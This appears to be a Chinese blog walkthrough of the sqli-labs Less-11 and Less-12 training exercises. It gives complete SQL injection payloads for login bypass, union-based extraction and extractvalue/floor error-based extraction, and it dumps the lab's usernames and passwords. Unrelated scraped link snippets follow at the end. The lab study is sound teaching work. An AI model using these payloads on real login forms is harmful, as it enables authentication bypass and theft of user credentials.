Less-11

POST - 基于错误的- 单引号 - 字符型

LOGIN ATTEMPT FAILED   登录尝试失败

从这一关的提示当中我们知道这是一个post类型的,那么post与get的区别是什么?

原文链接:https://www.cnblogs.com/zxyzm/p/10492545.html

1. get是从服务器上获取数据,post是向服务器传送数据。

2. GET请求把参数包含在URL中,将请求信息放在URL后面,POST请求通过request body传递参数,将请求信息放置在报文体中。

3. get传送的数据量较小,不能大于2KB。post传送的数据量较大,一般被默认为不受限制。但理论上,IIS4中最大量为80KB,IIS5中为100KB。

4. get安全性非常低,get设计成传输数据,一般都在地址栏里面可以看到,post安全性较高,post传递数据比较隐私,所以在地址栏看不到, 如果没有加密,他们安全级别都是一样的,随便一个监听器都可以把所有的数据监听到。

5. GET请求能够被缓存,GET请求会保存在浏览器的浏览记录中,以GET请求的URL能够保存为浏览器书签,post请求不具有这些功能。

6. HTTP的底层是TCP/IP,GET和POST的底层也是TCP/IP,也就是说,GET/POST都是TCP链接。GET和POST能做的事情是一样一样的。你要给GET加上request body,给POST带上url参数,技术上是完全行的通的。

7.GET产生一个TCP数据包,对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据);POST产生两个TCP数据包,对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据),并不是所有浏览器都会在POST中发送两次包,Firefox就只发送一次。

所以要想查看post提交的数据需要利用抓包工具,对于这一题由于是基于报错的,也就是说输入错误会返回报错数据,那么这里我将通过手工注入和工具注入分别进行解题。

手工注入:

1.我们发现这一题需要提交两个数据,那么我们先查看下该网页的html部分我,看能获得什么信息?

在html部分钟我们了解到这些信息:

1.form表单采用post形式提交

2.服务端接收数据: uname=数据   passwd=数据    ===>推断出  uname=用户名&passwd=密码    ====>又可大致推断数据库的sql语句为

select username,password from users where uname=用户名&passwd

3.type=text 说明是在文本框中都是明文显示。

name 属性规定 input 元素的名称。

name 属性用于对提交到服务器后的表单数据进行标识,或者在客户端通过 JavaScript 引用表单数据。

注释:只有设置了 name 属性的表单元素才能在提交表单时传递它们的值

2.那么我们该如何进行注入呢?

其实也很简单在Less1-4中,我们正常访问需要 ?id  而这里需要 uname=用户名&passwd=密码:

?id=1              uname=1&passwd=1                                       uname=1&passwd=1

?id=1'             uname=1&passwd=1'             =====同理==》uname=1'&passwd=1           (注: & 就相当于 and)

?id=1"            uname=1&passwd=1"                                      uname=1"&passwd=1

这么一对比,可以发现他们都是非常类似的,而且他们又是基于报错的,题目也提到了,还是字符型单引号注入

对比一下源代码,学习学习:

提示:在php中 isset() 函数用于检测变量是否已设置并且非 NULL。也就是说如果 uname&passwd如果有一个为 null,将不会执行sql语句。

(还有一点是在输入框中不要用--+因为+不会进行url编码,因为他不在url地址栏中,可以使用 #  %23  -- #)

3.知道了是字符型单引号注入,那么测试一下是不是注入点:

1' or 1=1 -- #

成功登陆,说明这就是一个注入点,后台形成的 sql 语句为
@$sql="SELECT username, password FROM users WHERE username='1' or 1=1 -- # and password='$passwd' LIMIT 0,1";
在#以后的内容就被注释掉,前面的内容因为 or 1=1 恒成立,所以语句就成立,登录成功。

(注:同理@$sql="SELECT username, password FROM users WHERE username=1 and password='1'  or 1=1 -- #LIMIT 0,1";结果都是一样的)

(所以下面为了方便,将在username输入框中进行注入,而在pasword输入框中统一输入数字1吧,整洁一点,嘿嘿)

那么接下来我们尝试用 get 注入中用到的其他的语句代替 ' or 1=1 进行注入。

4.接下来就是获取字段数,我们知道Less1-4中通过 ?id=数据 order by n -- # 返回的信息猜解出字段数n=3,但他的前提是这个 “数据”是true才行,而我们这里用 1' order by n -- #肯定不行的,因为该数据库中根本就没有用户名为1的用户啊,除非你知道有Dum用户,然后 Dumb' order by n -- #得出n=2,那如何解决,逆向思维,直接利用union联合注入,让你前一个条件为false,然后直接执行后面的select语句,构造payload: -1' union select 1,2-- # 结果返回用户名和密码说明字段数为2

(注:后来发现 1' union select 1,2-- #也是可以的,因为uname=1条件本来就是False了,没有必要用 -1,但我觉得吧,人容易养成习惯,所以还是用-1吧,又不费事,在用到工具注入时,就不用-1了直接用1)

5.字段数知道了,那么直接爆数据库----得到security数据库:

爆当前数据库:

-1' union select 1,database()-- #

爆所有的数据库:

-1' union select 1,group_concat(schema_name) from information_schema.schemata-- #

注:我们可以Hackbar插件中输入语句,这样好改注入语句(下面都用小插件了,2333)。

(同理该语句等同于:uname=1&passwd=-1' union select 1,database()-- #)

因为union前面的查询语句为flase,那么必定会查询后面的语句。所以这里你喜欢用哪种写法都可以:

6.爆数据表----得到我们需要的users表

uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- #&passwd=1

7.爆users表的字段(列)

uname=1&passwd=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- #

8.爆users表的数据:

uname=1&passwd=-1' union select group_concat(username),group_concat(password) from users-- #

到了这里我们就获取到了security数据库里所有的用户名和密码,基于报错注入还是比较容易的,主要是它返回的报错信息大大减少了我们手工注入的时间,当然还有一些利用mysql函数进行报错注入,在下面的工具注入中会挑一个进行讲解。

工具注入:

这里我们使用burpsuite工具,这里操作参考别的博客:

https://www.jianshu.com/p/5e3dbfa4b671 我对其进行了部分修改:

0x01.

在Web渗透测试过程中,BurpSuite是不可或缺的神器之一。BurpSuite的核心是代理Proxy,通常情况下使用BurpSuite的套路是:浏览器设置BurpSuite代理——>访问Web应用程序——>BurpSuite抓包分析。

1.查看burpsuite默认代理,当然也可自行修改,这里使用默认代理端口8080

2.修改火狐浏览器代理端口--(这里演示的是英文版的火狐,莫得办法,kali是英文版的,火狐浏览器也只能是英文版的了,苦逼了。。)

3.当然如果你觉得直接更改浏览器的代理服务器设置比较繁琐,更好的办法是使用浏览器插件,预先设置好代理方案,然后根据实际情况一键切换。Chrome推荐使用Proxy SwitchyOmega插件,Firefox推荐使用FoxyProxy。(注:插件没有用过我这是抄的,我不嫌麻烦,≧◔◡◔≦

4.开始抓包,进行拦截:

5.现在只要在火狐浏览器进行访问都会被拦截下来,这里我们在输入框中分别输入1和2进行测试:

在拦截的过程中,浏览器页面一直会显示wait (等待)

6.测试下注入点看看效果:  ( 1' or 1=1 -- #)

成功:

到这里,你会发现操作还是有点繁琐,那么我们可以在拦截之后,把包发送到Repter中进行操作

它的便利之处在于,每一次修改语句直接Go一次,右边会直接返回结果,不必每次修改语句就抓一次包,这样大大减少了重复操作的步骤。

0x02. 判断字符型/数字型注入

uname=1&passwd=1
uname=1&passwd=1'
uname=1&passwd=1"

第一、第三条提示登录失败(回显正常),第二条报错,(Raw和Render下查看都可以,看你习惯了):(&sumbit=Sumbit这一行代码你要是觉得碍眼删掉也可以,不影响结果)

从返回的一部分语句中可以看出是单引号的字符型注入,猜测查询语句:

select username,password from table_name where username='$_POST['uname']' and password='$_POST['passwd']' limit 0,1

0x03. 判断注入点

构造永真条件测试注入点:

uname=1&passwd=1' or 1=1--+

limit 0,1返回了表中第一条的信息:Dumb,Dumb,即这里存在注入点,原理在Less1中介绍过:
or'1'='1'是一个永真条件(也可以用其他永真条件替代),使查询语句相当于select username,password from users where trueselect username,password from users,返回所有结果

0x04. 判断字段数

利用order by语句判断字段数:

uanme=1&passwd=1' order by 3--+

注意:这里的字段数是查询语句返回的字段数,并非表中的字段数,目的用于猜测查询语句。

所以有两个字段数可供我们操作。

0x05. 获取数据库名、表名、字段名

利用union语句联合查询:

步骤1:用户名和数据库名

uname=1&passwd=1' union select user(),database()--+

用户名root,数据库名security

步骤2:表名

uname=1&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+

表名users

步骤3:字段名

uname=1&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

字段名usernamepassword

步骤4:数据

uname=1&passwd=1' union select group_concat(username),group_concat(password) from users-- #

Ok,接下来利用myaql函数进行报错注入,这里选取extractvalue()函数:(下面会简化操作)----(注:extractvalue()函数最大爆32位。)

爆库:uname=1' and extractvalue(1,concat(0x7e,(select database()))) --+ &passwd=1&submit=Submit

图不够清,上彩色版:(¬‿¬)

爆表:

uname=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) -- # &passwd=1&submit=Submit

只能查询到前几个表,后面加上 not in() 就可以查到其他的表了,如:

uname=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in('emails')))) -- #&passwd=1&submit=Submit

这里没有发现更多的表了,而users表应该是存放用户信息的,所以我们进行下一步,爆列名:

uname=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) -- #&passwd=1&submit=Submit

发现出来的并不全,当然这里我们也可以直接一步到位:

uname=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()))) -- #&passwd=1&submit=Submit

唉,本着学习的目的就不那么一步到位了,麻烦一点就麻烦一点吧,多种写法多种思路:

因为没有咱们需要的password,username,把一些不需要的列名消除掉:(看来这位博主对mysql数据库里的列很清楚嘛)

uname=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) -- # &passwd=1&submit=Submit

我们发现后面确实有咱们需要的password,username

爆值:

uname=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) -- #&passwd=1&submit=Submit

得,又是数据显示不全(最大显示32位),通过 not in(),我们可以找到所有的用户名和密码

uname=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelinal')))) -- #&passwd=1&submit=Submit

然后继续not in 获取所有的用户名和密码:(参考的博客:https://www.cnblogs.com/meng-yu37/p/12284496.html兄嘚你是真不嫌麻烦)

  Dumb:Dumb    Angelinal:I-kill-you   Dummy:p@ssword   secure:crappy   stupid:stupidiry   superman:genious   batman:mob!le   admin:admin   admin1:admin1   admin2:admin2   admin3:admin3   dhakkan:dumbo   admin4:admin4

这里在说一个floor()函数的报错注入,这里的代码,参考 https://blog.csdn.net/weixin_39934520/article/details/105206098 这篇博客

这里之举一个:爆第一个用户的密码:(其他的自行尝试--注意注入的字段只有两个)

uname=1&passwd=1' Union select count(*),concat((select password from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+&submit=Submit

突然发现还可以这样?(真秀,不过这样写还能算floor()函数报错注入吗?)

Less-12

基于错误的双引号POST型字符型变形的注入

由题意可知,这道题有双引号闭合的问题,于是分别在输入框输入 1" 和 1,查看报错信息:

报错信息出现了一个小括号,说明这是带一个括号的双引号注入,测试其注入点 :

测试成功,对比源代码:

那么同理,我们只需把Less-11操作中的  ' 换成  ")  其余操作不便,如:

uname=1&passwd=-1") union select group_concat(username),group_concat(password) from users-- #

那么同样,利用extractvalue()函数进行报错注入:

uname=1") and extractvalue(1,concat(0x7e,(select database()))) -- #&passwd=1

这里格外讲解一个新姿势:

构造一个能闭合语句而且会报错的payload:1" and extractvalue(1,concat(0x7e,(select database()))) and "

传入后就变成了:@sql="SELECT username,password FROM users WHERE username=("1" and extractvalue(1,concat(0x7e,(select database()))) and " ") and password=($passwd) LIMIT 0,1";

爆库

uname=1" and extractvalue(1,concat(0x7e,(select database())))  and " &passwd=1

爆表

uname=1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=1

爆列名:

uname=1" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) and " &passwd=1

爆值:

uname=1" and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) and " &passwd=1

通过 not in(),我们可以找到所有的用户名和密码:

    Dumb:Dumb    Angelinal:I-kill-you   Dummy:p@ssword   secure:crappy   stupid:stupidiry   superman:genious   batman:mob!le   admin:admin   admin1:admin1   admin2:admin2   admin3:admin3   dhakkan:dumbo   admin4:admin4

例如:

uname=1" and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelinal')))) and " &passwd=1

完结。(─‿‿─)

Sqli-labs之Less-11和Less-12相关推荐

  1. 解决 ubuntu 无法关机 Dell Studio 1569 Cannot Shutdown in Ubuntu 11.10 or 12.04

    Shutdown computer using terminal in Ubuntu f you want to shutdown your computer what do you do ? Sim ...

  2. 实现算法2.11、2.12的程序

    // algo2-5.cpp 实现算法2.11.2.12的程序 #include"c1.h" typedef int ElemType; #include"c2-2.h& ...

  3. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  4. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  5. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

  6. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  7. 苹果6运行内存是多少_iPhone 12为什么不标注运行内存?安卓转苹果手机是入11还是入12呢?...

    苹果从不标榜配置参数,重在体验感与功能的实现. 关于苹果运存问题,简单点说: 1.IOS系统底层逻辑不同于安卓,苛刻的内存管理,高效的内存缓存读取, 2.运行当前程序时,后台程序会被暂停,释放出更多运 ...

  8. 2021年10月11月总结12月计划

    2021年10月11月总结12月计划 综合评价: 面子并不值钱.不要动不动就觉得伤自尊了.不要让面子问题成为自己的负资产.什么事情理性一些,做自己觉得最正确的事情,不要为了所谓的面子,而让自己吃亏,反 ...

  9. 苹果8参数配置_苹果11和苹果12的区别是什么?对比配置参数,哪个更值得购买?...

    智能机上市以来,苹果一直是全球智能机的引领者,但是这几年略显创新乏力,不仅在拍照上面被国产机反超,在5g上面也是落后过一年. 最近苹果iPhone12上市,因为是苹果第一代5g手机,所以引起了市场极大 ...

  10. 小米电视 android版本升级,值得嘚瑟,小米10系已升级Android 11的MIUI 12,你升了吗?...

    原标题:值得嘚瑟,小米10系已升级Android 11的MIUI 12,你升了吗? 小米MIUI系统的升级在国内手机品牌中,确实是数一数二的,不仅每年的MIUI 系统全面升级,适配最新Android系 ...

最新文章

  1. substring,substr,和slice的区别详解。
  2. python批量读取文件夹的图片并处理成模型输入格式
  3. HttpServletRequest中获取IP值
  4. IDEA优雅整合Maven+SSM框架(详细思路+附带源码)
  5. 基于RNN和CTC的语音识别模型,探索语境偏移解决之道
  6. mysql中转换成字符串_如何在R中转换字符串的大小写?
  7. VS code gopls requires a module at the root of your workspace
  8. ajax获取信息发送短信,javascript ajax获取信息功能代码
  9. 进程通信的几种方式及其各自优缺点
  10. 自己动手打造mini型QQ
  11. 懂户型图 如何选择好户型
  12. python 内置函数 和 匿名函数
  13. 服务器端口怎么调出虚拟键盘,Win8小技巧之如何设置触控虚拟键盘
  14. 学习进销存管理系统知识
  15. oracle脱机状态什么意思,电脑脱机状态是什么意思,电脑脱机状态怎么解除?
  16. Communication-Efficient Learning of Deep Networks from Decentralized Data
  17. MIKE水动力笔记7_实测数据与模型输出结果的拟合对比
  18. 1、TCP/IP体系结构
  19. matlab和自然语言处理,《自然语言处理》课程简介
  20. 爱屋吉屋倒下? 实际控制人已变更

热门文章

  1. 《疯狂Java讲义》读书笔记3
  2. 计算机教学楼起名,给学校的教学楼起名字
  3. 谷歌HDRplus研读(一)
  4. 读书笔记-人月神话12
  5. 技术小品文(一)字符串放在哪里?
  6. zoj3716Ribbon Gymnastics
  7. tk mybatis通用mapper
  8. 拍照翻译软件 拍照识别 云脉慧眼
  9. Ubuntu 10.04下fcitx输入法中去掉多余的输入方式
  10. 我敢打赌,大多数人不知道DataGrip有这么厉害,只是都不会用而已